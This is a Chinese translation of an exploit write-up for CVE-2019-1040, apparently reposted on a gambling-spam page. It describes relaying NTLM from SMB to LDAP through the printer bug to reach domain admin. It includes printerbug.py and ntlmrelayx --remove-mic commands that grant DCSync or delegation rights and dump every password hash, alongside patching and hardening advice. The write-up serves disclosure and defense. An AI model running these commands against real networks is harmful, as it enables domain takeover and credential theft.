亿宝娱乐CVE-2019-1040:结合RCE和域管理员的中继攻击漏洞分析_HUC惠仲娱乐

亿宝娱乐

本周微软发布了CVE-2019-1040的补丁,这是一个允许绕过NTLM中继攻击的漏洞。该漏洞由Marina Simakov和Yaron Zinar(以及微软公告中的几个人发现)发现,他们在此发布了有关此漏洞的技术文章。此漏洞允许绕过NTLM身份验证中的消息完整代码。然而,如果将Lee Christensen发现的Printer Bug以及我们在Elad ShamirKerberos研究中开展的一些研究相结合,我们能发现这个漏洞的影响是相当大的。使用这些漏洞的组合,可以将SMB身份验证中继到LDAP。该漏洞使得在任何未修补的Windows服务器或工作站(位于不同Active Directory中的那些服务器或工作站)上以SYSTEM身份执行远程代码,并通过未修补的Exchange服务器升级到域管理员(除非域中的Exchange权限减少)。这篇文章同样告诉读者如何对系统进行修补。

将SMB转发到LDAP

正如我之前在PrivExchange博客中所讨论的那样,过去一年中研究学者的研究使我们距离接管Active Directory中的计算机只有一步之遥。如果ExchangeWindows服务器可以向我们进行身份验证,并通过LDAP将该身份验证中继到域控制器,则可以获得受害者的权限并在Active Directory中执行各种操作。在Exchange的情况下,这导致了黑客拥有足够高的权限来授予自己DCSync权限,这是PrivExchange漏洞产生的原因。

通过滥用基于资源的Kerberos约束,攻击者可以在受害者服务器上获得权限,这将导致该服务器上的管理员权限丢失。然而,该问题在于由于NTLM协议的工作方式,我们无法将SMB流量中继到LDAP,因为其标志会触发LDAP签名。通过滥用SpoolService错误产生更严重的影响,这阻止了SMB触发身份验证。

CVE-2019-1040漏洞可以修改NTLM身份验证数据包而不会使身份验证失效,从而使攻击者能够删除从SMB转发到LDAP的标志。由于Active Directory目前的状态非常危险,因此可以使用SpoolService错误来破坏系统。这可以跨林信任,因为SpoolService错误的唯一要求是经过身份验证的帐户。

攻击过程

一下有两种攻击突击:

  • 使用AD帐户,通过SMB连接到受害者Exchange服务器,并触发SpoolService错误。 攻击者服务器将通过SMB连接,并使用修改后的ntlmrelayx版本中继到LDAP。 使用中继的LDAP身份验证,为攻击者帐户授予DCSync权限。 攻击者帐户现在可以使用DCSync转储AD中的所有密码哈希值。

  • 使用AD帐户,通过SMB连接到受害者Exchange服务器,并触发SpoolService错误。 攻击者服务器将通过SMB连接,并使用修改后的ntlmrelayx版本中继到LDAP。 使用中继的LDAP身份验证,将受害者服务器的基于资源的约束委派权限授予攻击者控制下的计算机帐户。 攻击者现在可以作为受害者服务器上的任何用户进行身份验证。

以下为几点要注意的事项:

在攻击模拟中,Exchange服务器可以是任何版本(包括为PrivExchange修补的版本)。唯一的要求是,在以共享权限或RBAC模式安装时,Exchange默认具有高权限。在2019年2月12日之后安装的新Exchange,或者手动更新以减少Microsoft博客中所提到的更新。

在第二次模拟攻击中,我们将服务器设定为未修补的Windows Server,包括域控制器。在定位域控制器时,至少需要一个有漏洞的域控制器来中继身份验证,同时在另一个域控制器上触发SpoolService错误(理论上可以转发回同一主机,因为我们可以更改NTLM身份验证)。
第二次攻击需要控制计算机帐户。这可以是攻击者从中获取密码的计算机帐户,因为他们已经是工作站上的Administrator或攻击者创建的计算机帐户,滥用Active Directory中的任何帐户都可以默认创建这些帐户。

概念证明

这里我们更新了ntlmrelayx(impacket的一部分),有一个remove-mic标志,根据Preempt研究人员的技术描述利用CVE-2019-1040

攻击第一步:Exchange服务器上进行选择

在第一次攻击中,我们使用SpoolService打印机错误攻击Exchange服务器,并使用ntlmrelayx进行中继。 我在我的krbrelayx repo中使用printerbug.py,我们也可以使用dementor或原始的.NET代码。

python printerbug.py testsegment.local/testuser@s2012exc.testsegment.local <attacker ip/hostname>

这将会使得Exchange服务器与我们本地进行连接:

我们使用--remove-mic标志运行ntlmrelayx

ntlmrelayx.py --remove-mic --escalate-user ntu -t ldap://s2016dc.testsegment.local -smb2support

这授予我们的用户DCSync权限,我们可以使用它来转储所有密码哈希值:

攻击步骤二:Kerberos delegation

第二次攻击主要是我之前博客中描述的过程。

我们使用--remove-mic--delegate-access标志启动ntlmrelayx.py并将其转发到LDAP over TLS(LDAPS)以便能够创建新的计算机帐户:

ntlmrelayx.py -t ldaps://rlt-dc.relaytest.local --remove-mic --delegate-access -smb2support

并针对辅助域控制器运行printerbug.py脚本(在下面称为rlt-app-server,但这是我在实验室中提升为DC的服务器):

然后进行中继连接,创建一个计算机帐户:

我们可以使用这个模拟票直接对DC运行secretsdump并得到所有哈希:)

奖励:绕过森林域

如果我们在完全不同的Active Directory中拥有用户,我们可以在relaytest.local域中执行完全相同的攻击,因为任何经过身份验证的用户都可以触发SpoolService反向连接。 所以我已经建立了一个单向的,传出的林信任,从relaytest.localdomainb.local(这意味着来自domainb的用户可以在relaytest林、域中进行身份验证)。 这也适用于双向信任。

我们运行相同的命令,但现在从domainb用户打印错误:

看到结果:

防御措施

通过滥用CVE-2019-1040,我们可以使用协议弱点和默认设置的组合来接管任何具有漏洞的Windows主机。最重要的防御措施是尽快安装2019年6月的补丁汇总。

我们可以通过对LDAP over TLS强制执行LDAP签名和LDAP通道绑定来阻止NTLM中继到LDAP。但是如博客中所述,当未安装此问题的修补程序时,也可以绕过通道绑定。

为防止攻击者触发SpoolService错误,我们可以选择禁用Printer Spooler服务。另一种防御措施是阻止敏感主机上端口445上的传出流量,或确保网络过滤阻止服务器连接到客户端范围并尽可能地隔离各个客户端。拥有高度分割的网络通常是一项重要的防御措施。

总而言之,即使安装所有可用的补丁程序,我们仍然可以将SMB从中继转移到LDAP,除非应用进一步的纵深防御措施,否则它只是在等待下一个不可避免的NTLM攻击。

代码

POC代码在我的个人GitHub上,直到它被合并到impacket:
https://github.com/dirkjanm/impacket/tree/micremove

本文为翻译稿件,来源:https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/?from=groupmessage&isappinstalled=0